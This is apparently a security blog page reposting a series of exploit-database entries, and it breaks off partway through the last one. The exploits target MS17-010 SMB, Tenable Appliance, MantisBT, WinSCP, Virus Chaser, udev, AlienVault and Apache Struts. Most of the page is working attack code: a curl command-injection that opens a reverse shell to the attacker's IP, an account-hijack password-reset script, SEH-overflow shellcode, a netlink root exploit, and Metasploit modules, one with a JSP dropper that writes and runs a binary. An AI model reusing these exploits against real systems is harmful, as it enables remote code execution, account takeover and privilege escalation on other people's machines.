Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863158114

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# auxiliary/scanner/smb/smb_ms_17_010

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Remote::SMB::Client::Authenticated

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 SMB RCE Detection',
      'Description'    => %q{
        Uses information disclosure to determine if MS17-010 has been patched or not.
        Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.
        If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does
        not have the MS17-010 patch.

        This module does not require valid SMB credentials in default server
        configurations. It can log on as the user "\" and connect to IPC$.
      },
      'Author'         => [ 'Sean Dillon <sean.dillon@risksense.com>' ],
      'References'     =>
        [
          [ 'CVE', '2017-0143'],
          [ 'CVE', '2017-0144'],
          [ 'CVE', '2017-0145'],
          [ 'CVE', '2017-0146'],
          [ 'CVE', '2017-0147'],
          [ 'CVE', '2017-0148'],
          [ 'MSB', 'MS17-010'],
          [ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx']
        ],
      'License'        => MSF_LICENSE
    ))
  end

  def run_host(ip)
    begin
      status = do_smb_probe(ip)

      if status == "STATUS_INSUFF_SERVER_RESOURCES"
        print_warning("Host is likely VULNERABLE to MS17-010!")
        report_vuln(
          host: ip,
          name: self.name,
          refs: self.references,
          info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$'
        )
      elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
        # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
        print_good("Host does NOT appear vulnerable.")
      else
        print_bad("Unable to properly detect if host is vulnerable.")
      end

    rescue ::Interrupt
      print_status("Exiting on interrupt.")
      raise $!
    rescue ::Rex::Proto::SMB::Exceptions::LoginError
      print_error("An SMB Login Error occurred while connecting to the IPC$ tree.")
    rescue ::Exception => e
      vprint_error("#{e.class}: #{e.message}")
    ensure
      disconnect
    end
  end

  def do_smb_probe(ip)
    connect

    # logon as user \
    simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])

    # connect to IPC$
    ipc_share = "\\\\#{ip}\\IPC$"
    simple.connect(ipc_share)
    tree_id = simple.shares[ipc_share]

    print_status("Connected to #{ipc_share} with TID = #{tree_id}")

    # request transaction with fid = 0
    pkt = make_smb_trans_ms17_010(tree_id)
    sock.put(pkt)
    bytes = sock.get_once

    # convert packet to response struct
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
    pkt.from_s(bytes[4..-1])

    # convert error code to string
    code = pkt['SMB'].v['ErrorClass']
    smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new
    status = smberr.get_error(code)

    print_status("Received #{status} with FID = 0")
    status
  end

  def make_smb_trans_ms17_010(tree_id)
    # make a raw transaction packet
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
    simple.client.smb_defaults(pkt['Payload']['SMB'])

    # opcode 0x23 = PeekNamedPipe, fid = 0
    setup = "\x23\x00\x00\x00"
    setup_count = 2             # 2 words
    trans = "\\PIPE\\\x00"

    # calculate offsets to the SetupData payload
    base_offset = pkt.to_s.length + (setup.length) - 4
    param_offset = base_offset + trans.length
    data_offset = param_offset # + 0

    # packet baselines
    pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode
    pkt['Payload']['SMB'].v['TreeID'] = tree_id
    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
    pkt['Payload'].v['ParamCountMax'] = 0xffff
    pkt['Payload'].v['DataCountMax'] = 0xffff
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataOffset'] = data_offset

    # actual magic: PeekNamedPipe FID=0, \PIPE\
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup
    pkt['Payload'].v['Payload'] = trans

    pkt.to_s
  end
end
            
#!/bin/bash
: '
According to http://static.tenable.com/prod_docs/upgrade_appliance.html they
fixed two security vulnerabilities in the web interface in release 4.5 so I
guess previous version are also vulnerable.

# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance
# Date: 18/04/17
# Exploit Author: agix
# Vendor Homepage: https://www.tenable.com/
# Version: < 4.5
# Tested on: Tenable Appliance 3.5

tenable $ ./rce.sh
bash: no job control in this shell
bash-3.2# ls
app
appliancelicense.html
appliancelicense.pdf
appliancelicense.txt
images
includes
index.ara
js
lcelicense.html
lcelicense.pdf
lcelicense.txt
migrate
nessuslicense.html
nessuslicense.pdf
nessuslicense.txt
password.ara
pvslicense.html
pvslicense.pdf
pvslicense.txt
sclicense.html
sclicense.pdf
sclicense.txt
simpleupload.py
static
bash-3.2# id
uid=0(root) gid=0(root)
bash-3.2#
'

#!/bin/bash

TENABLE_IP="172.16.171.179"
YOUR_IP="172.16.171.1"
LISTEN_PORT=31337


curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '&
nc -l -p $LISTEN_PORT
            
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.mantisbt.org



Product:
==================
Mantis Bug Tracker
v1.3.0 / 2.3.0

MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.


Vulnerability Type:
===============================
Pre-Auth Remote Password Reset



CVE Reference:
==============
CVE-2017-7615



Security Issue:
================
Mantis account verification page 'verify.php' allows resetting ANY user's password.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.

Vulnerable code:

In verify.php line 66:

if( $f_confirm_hash != $t_token_confirm_hash ) {
	
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );

}

This code attempts to verify a user account and compares hashes for a user request.
However, by supplying empty value we easily bypass the security check.

e.g.

http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=

This will then allow you to change passwords and hijack ANY mantisbt accounts.

All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.


References:
============
https://mantisbt.org/bugs/view.php?id=22690#c56509



POC Video URL:
==============
https://vimeo.com/213144905



Exploit/POC:
=============
import cookielib,urllib,urllib2,time

print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'

IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")

TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='

values={}
account_update_token=''
#verify_user_id='1'          #Admin  = 1
#realname='administrator'    #Must be known or guessed.


#REQUEST 1, get Mantis account_update_token 
cookies = cookielib.CookieJar()

opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))

res = opener.open(TARGET)

arr=res.readlines()
for s in arr:
        if 'account_update_token' in s:
                break


#print s[61:-38]
ACCT_TOKEN=s[61:-38]

time.sleep(0.3)

#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
        'account_update_token' : ACCT_TOKEN,
        'realname' : realname,
        'password' : passwd,
        'password_confirm' : passwd}
  
data = urllib.urlencode(values)

opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))

response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()

#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)




Network Access:
===============
Remote




Severity:
=========
Critical



Disclosure Timeline:
=============================
Vendor Notification: April 7, 2017
Vendor acknowledged: April 7, 2017
Vendor patch created: April 10, 2017
Vendor Disclosure: April 16, 2017
April 16, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
##
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)
 
# Date: [4-4-2017] mm.dd.yy
# Exploit Author: [M.Ibrahim]  vulnbug@gmail.com
# E-Mail:  vulnbug  <at>  gmail.com
# Vendor Home Page: https://winscp.net/eng/index.php
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe
# Version: [WinSCP 5.9.4] 
# Tested on: windows 7 x86
##
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all
#then run -j 
#now fake ftp server is ready 
#try to connect to this fake ftp server with winscp client and it will crush
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Exploit::Remote::TcpServer

  def initialize()
    super(
      'Name'           => 'WinSCP CRUSHER',
      'Description'    => %q{
        This module will Crush WinSCP FTP client 
      },
      'Author'         => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.google.com' ],
        ]
      )
    register_options(
      [
      OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
      OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),
      OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),
      OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
      OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
      OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
      OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),
      OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),
      OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
      OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
      ], self.class)
  end

  

  def support_ipv6?
    false
  end

  def setup
    super
    @state = {}
  end

  def run
    @fuzzsize=datastore['STARTSIZE'].to_i
    exploit()
  end

  
  def on_client_connect(c)
    @state[c] = {
      :name => "#{c.peerhost}:#{c.peerport}",
      :ip   => c.peerhost,
      :port => c.peerport,
      :user => nil,
      :pass => nil
    }
    
    print_status("Client connected : " + c.peerhost)
    active_data_port_for_client(c, 20)
    send_response(c,"","WELCOME",220," "+datastore['WELCOME'])
    
  end

  def on_client_close(c)
    @state.delete(c)
  end

  
  def passive_data_port_for_client(c)
    @state[c][:mode] = :passive
    if(not @state[c][:passive_sock])
      s = Rex::Socket::TcpServer.create(
        'LocalHost' => '0.0.0.0',
        'LocalPort' => 0,
        'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
      )
      dport = s.getsockname[2]
      @state[c][:passive_sock] = s
      @state[c][:passive_port] = dport
      
    end
    @state[c][:passive_port]
  end


  def active_data_port_for_client(c,port)
    @state[c][:mode] = :active
    connector = Proc.new {
      host = c.peerhost.dup
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => host,
        'PeerPort' => port,
        'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
      )
    }
    @state[c][:active_connector] = connector
    @state[c][:active_port]      = port
   
  end


  def establish_data_connection(c)
    
    begin
    Timeout.timeout(20) do
      if(@state[c][:mode] == :active)
        return @state[c][:active_connector].call()
      end
      if(@state[c][:mode] == :passive)
        return @state[c][:passive_sock].accept
      end
    end
    
    rescue ::Exception => e
      print_error("Failed to establish data connection: #{e.class} #{e}")
    end
    nil
  end

  
  def on_client_data(c)

    data = c.get_once
    return if not data

    cmd,arg = data.strip.split(/\s+/, 2)
    arg ||= ""

    return if not cmd

    case cmd.upcase.strip

    when 'USER'
      @state[c][:user] = arg
      send_response(c,arg,"USER",331," User name okay, need password")
      return

    when 'PASS'
      @state[c][:pass] = arg
      send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")
      return

    when 'QUIT'
      if (datastore['RESET'])
        print_status("Resetting fuzz settings")
        @fuzzsize = datastore['STARTSIZE']
        @stepsize = datastore['STEPSIZE']
      end
      print_status("** Client disconnected **")
      send_response(c,arg,"QUIT",221," User logged out")
      return

    when 'SYST'
      send_response(c,arg,"SYST",215," UNIX Type: L8")
      return

    when 'TYPE'
      send_response(c,arg,"TYPE",200," Type set to #{arg}")
      return

    when 'CWD'
      send_response(c,arg,"CWD",250," CWD Command successful")
      return

    when 'PWD'
      send_response(c,arg,"PWD",257," \"/\" is current directory.")
      return

    when 'REST'
      send_response(c,arg,"REST",200," OK")
      return

    when 'XPWD'
      send_response(c,arg,"PWD",257," \"/\" is current directory")
      return

    when 'SIZE'
      send_response(c,arg,"SIZE",213," 1")
      return

    when 'MDTM'
      send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
      return

    when 'CDUP'
      send_response(c,arg,"CDUP",257," \"/\" is current directory")
      return

    when 'PORT'
      port = arg.split(',')[4,2]
      if(not port and port.length == 2)
        c.put("500 Illegal PORT command.\r\n")
        return
      end
      port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
      active_data_port_for_client(c, port)
      send_response(c,arg,"PORT",200," PORT command successful")
      return

    when 'PASV'

      daddr = Rex::Socket.source_address(c.peerhost)
      dport = passive_data_port_for_client(c)
      @state[c][:daddr] = daddr
      @state[c][:dport] = dport
      pasv  = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')
      dofuzz = fuzz_this_cmd("PASV")
      code = 227
      if datastore['ERROR']
        code = 557
      end
      if (dofuzz==1)

        send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n")
        incr_fuzzsize()
      else
        send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")
      end
      return

    when /^(LIST|NLST|LS)$/


      conn = establish_data_connection(c)
      if(not conn)
        c.put("425 Can't build data connection\r\n")
        return
      end

      code = 150
      if datastore['ERROR']
        code = 550
      end
      c.put("#{code} Here comes the directory listing.\r\n")
      code = 226
      if datastore['ERROR']
        code = 550
      end
      c.put("#{code} Directory send ok.\r\n")
      strfile = "passwords.txt"
      strfolder = "Secret files"
      dofuzz = fuzz_this_cmd("LIST")
      if (dofuzz==1)
        strfile = @fuzzdata + ".txt"
        strfolder = @fuzzdata
        paylen = @fuzzdata.length

        incr_fuzzsize()
      end

      dirlist = ""
      if datastore['EXTRALINE']
        extra = "\r\n"
      else
        extra = ""
      end
      dirlist = "drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{strfolder}\r\n" + extra
      dirlist << "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{strfile}\r\n" + extra
      conn.put("total 2\r\n"+dirlist)
      conn.close
      return

    when 'RETR'


      conn = establish_data_connection(c)
      if(not conn)
        c.put("425 Can't build data connection\r\n")
        return
      end
      print_status(" - Data connection set up")
      strcontent = "blahblahblah"
      dofuzz = fuzz_this_cmd("LIST")
      if (dofuzz==1)
        strcontent = @fuzzdata
        paylen = @fuzzdata.length

        incr_fuzzsize()
      end
      c.put("150 Opening BINARY mode data connection #{strcontent}\r\n")
      print_status(" - Sending data via data connection")
      conn.put(strcontent)
      c.put("226 Transfer complete\r\n")
      conn.close
      return

    when /^(STOR|MKD|REM|DEL|RMD)$/
      send_response(c,arg,cmd.upcase,500," Access denied")
      return

    when 'FEAT'
      send_response(c,arg,"FEAT","","211-Features:\r\n211 End")
      return

    when 'HELP'
      send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")

    when 'SITE'
      send_response(c,arg,"SITE",200," OK")
      return

    when 'NOOP'
      send_response(c,arg,"NOOP",200," OK")
      return

    when 'ABOR'
      send_response(c,arg,"ABOR",225," Abor command successful")
      return

    when 'ACCT'
      send_response(c,arg,"ACCT",200," OK")
      return

    when 'RNFR'
      send_response(c,arg,"RNRF",350," File exists")
      return

    when 'RNTO'
      send_response(c,arg,"RNTO",350," File exists")
      return
    else
      send_response(c,arg,cmd.upcase,200," Command not understood")
      return
    end
    return
  end




  def fuzz_this_cmd(cmd)
    @fuzzcommands = datastore['FUZZCMDS'].split(",")
    fuzzme = 0
    @fuzzcommands.each do |thiscmd|
      if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)
        fuzzme = 1
      end
    end
    if fuzzme==1

      if datastore['CYCLIC']
        @fuzzdata = Rex::Text.pattern_create(@fuzzsize)
      else
        @fuzzdata = "A" * @fuzzsize
      end
    end
    return fuzzme
  end

  def incr_fuzzsize
    @stepsize = datastore['STEPSIZE'].to_i
    @fuzzsize = @fuzzsize + @stepsize

    if (@fuzzsize > datastore['ENDSIZE'].to_i)
      @fuzzsize = datastore['ENDSIZE'].to_i
    end
  end



  def send_response(c,arg,cmd,code,msg)
    if arg.length > 40
      showarg = arg[0,40] + "..."
    else
      showarg = arg
    end
    if cmd.length > 40
      showcmd = cmd[0,40] + "..."
    else
      showcmd = cmd
    end

    dofuzz = fuzz_this_cmd(cmd)

    if (dofuzz==1) && (cmd.upcase != "PASV")
      paylen = @fuzzdata.length

      if datastore['ERROR']
        code = "550 "
      end
      if cmd=="FEAT"
        @fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End"
      end
      if cmd=="PWD"
        @fuzzdata = "  \"/"+@fuzzdata+"\" is current directory"
      end
      cmsg = code.to_s + " " + @fuzzdata
      c.put("#{cmsg}\r\n")
      print_status("* Fuzz data sent")
      incr_fuzzsize()
    else
     
      cmsg = code.to_s + msg
      cmsg = cmsg.strip
      c.put("#{cmsg}\r\n")
    end
    return
  end
end
            
# Exploit Title: Virus Chaser 8.0 - Scanner component, SEH Overflow
# Date: 14 April 2017
# Exploit Author: 0x41Li (0x41Li.D@gmail.com)
# Vendor Homepage: https://www.viruschaser.com/
# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
# Tested on: Windows 7 (Universal)

import os
from struct import pack

## msfvenom -a x86 --platform Windows -p windows/exec cmd=calc -b '\x00\x0d\x0a\x09\x22' -f c   # x86/shikata_ga_nai succeeded with size 216  ## BADCHARS = \x00\x0d\x0a\x09 AVOIDED = \x22 = " (Cut the buffer)
shellcode= ("\xbe\x7a\x1f\x2d\x97\xda\xd5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
			"\x30\x83\xc2\x04\x31\x72\x0f\x03\x72\x75\xfd\xd8\x6b\x61\x83"
			"\x23\x94\x71\xe4\xaa\x71\x40\x24\xc8\xf2\xf2\x94\x9a\x57\xfe"
			"\x5f\xce\x43\x75\x2d\xc7\x64\x3e\x98\x31\x4a\xbf\xb1\x02\xcd"
			"\x43\xc8\x56\x2d\x7a\x03\xab\x2c\xbb\x7e\x46\x7c\x14\xf4\xf5"
			"\x91\x11\x40\xc6\x1a\x69\x44\x4e\xfe\x39\x67\x7f\x51\x32\x3e"
			"\x5f\x53\x97\x4a\xd6\x4b\xf4\x77\xa0\xe0\xce\x0c\x33\x21\x1f"
			"\xec\x98\x0c\x90\x1f\xe0\x49\x16\xc0\x97\xa3\x65\x7d\xa0\x77"
			"\x14\x59\x25\x6c\xbe\x2a\x9d\x48\x3f\xfe\x78\x1a\x33\x4b\x0e"
			"\x44\x57\x4a\xc3\xfe\x63\xc7\xe2\xd0\xe2\x93\xc0\xf4\xaf\x40"
			"\x68\xac\x15\x26\x95\xae\xf6\x97\x33\xa4\x1a\xc3\x49\xe7\x70"
			"\x12\xdf\x9d\x36\x14\xdf\x9d\x66\x7d\xee\x16\xe9\xfa\xef\xfc"
			"\x4e\xf4\xa5\x5d\xe6\x9d\x63\x34\xbb\xc3\x93\xe2\xff\xfd\x17"
			"\x07\x7f\xfa\x08\x62\x7a\x46\x8f\x9e\xf6\xd7\x7a\xa1\xa5\xd8"
			"\xae\xc2\x28\x4b\x32\x05")

junk = "A"*688
jmp ="\xeb\x0b\x41\x41"  ## JMP 0B 
ret = pack('<L',0x10010c81)  #pop ECX #pop ESI #RET [sgbidar.dll]  (magic addr)
nop = "\x90"*24
payload = junk + jmp + ret + nop + shellcode
print payload
os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + payload + "\"")
            
/*
# Title: Linux Kernel 4.8.0 udev 232 - Privilege Escalation
# Author: Nassim Asrir
# Researcher at: Henceforth
# Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
# The full Research: https://www.facebook.com/asrirnassim/
# CVE: CVE-2017-7874

# Exp #

first of all we need to know a small infos about udev and how it work

the udev deamon is responsible for receiving device events from the kernel 

and this event are delivered to udev via netlink (is a socket family) 

you can read more about udev from: https://en.wikipedia.org/wiki/Udev

# Exploit #

The udev vulnerability resulted from a lack of verification of the netlink message source in udevd.

read lines from: /lib/udev/rules.d/50-udev-default.rules

all we need is this action: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"    

this action allows execution of arbitrary commands.

in our exploit we specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file.

Get your udev version:

Execute: $ udevadm --version

//output: 232

Maybe < 232 also is vulnerable 
*/



// gcc rootme.c -o rootme
// ./rootme
// segmantation fault 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;

  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;

  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;

  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));

  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;

  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);

  sendmsg(sock, &msg, 0);

  close(sock);

  return 0;
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'AlienVault USM/OSSIM API Command Execution',
      'Description'   => %q{
        This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root. 
      },
      'Author'        =>
        [
          'Unknown', # Privately disclosed to Alienvault
          'Peter Lapp (lappsec@gmail.com)' # Metasploit module
        ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          ['URL', 'https://www.alienvault.com/forums/discussion/8415/']
        ],
      'Privileged'     => false,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Compat'      => {
            'PayloadType' => 'cmd'
          }
        },
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Targets'        =>
        [
          [ 'Automatic', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 5 2017'))

    register_options(
      [
        Opt::RPORT(40011)
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
      'vars_post' => {
        'host_ip'    => "127.0.0.1"
      },
          'headers'  => {
            'Accept' => "application/json"
      }
    })

    if res and res.code == 200 and res.body.include?('success')
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Executing payload...")

    res = send_request_cgi({
      'method' => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
      'vars_post' => {
        'host_ip'    => ";#{payload.encoded}"
      },
          'headers'  => {
            'Accept' => "application/json"
      }
    })
  end


end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # It's going to manipulate the Class Loader

  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts versions
        1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
        the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
        to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
        mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
        allow remote attackers to execute arbitrary Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas', # Vulnerability Discovery
          'Przemyslaw Celej', # Vulnerability Discovery
          'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
          'Matthew Hall <hallm[at]sec-1.com>' # SMB target
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-0094'],
          ['CVE', '2014-0112'],
          ['CVE', '2014-0114'],
          ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
          ['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
        ],
      'Platform'       => %w{ linux win },
      'Payload'        =>
        {
          'Space' => 5000,
          'DisableNops' => true
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          ['Java',
           {
               'Arch'     => ARCH_JAVA,
               'Platform' => %w{ linux win }
           },
          ],
          ['Linux',
           {
               'Arch'     => ARCH_X86,
               'Platform' => 'linux'
           }
          ],
          ['Windows',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget'  => 1))

    register_options(
      [
        Opt::RPORT(8080),
        OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
      ], self.class)

    deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
  end

  def jsp_dropper(file, exe)
    dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
    eos

    dropper
  end

  def dump_line(uri, cmd = '')
    res = send_request_cgi({
      'uri'     => uri,
      'encode_params' => false,
      'vars_get' => {
        cmd => ''
      },
      'version' => '1.1',
      'method'  => 'GET'
    })

    res
  end

  def modify_class_loader(opts)

    cl_prefix =
      case datastore['STRUTS_VERSION']
      when '1.x' then "class.classLoader"
      when '2.x' then "class['classLoader']"
      end

    res = send_request_cgi({
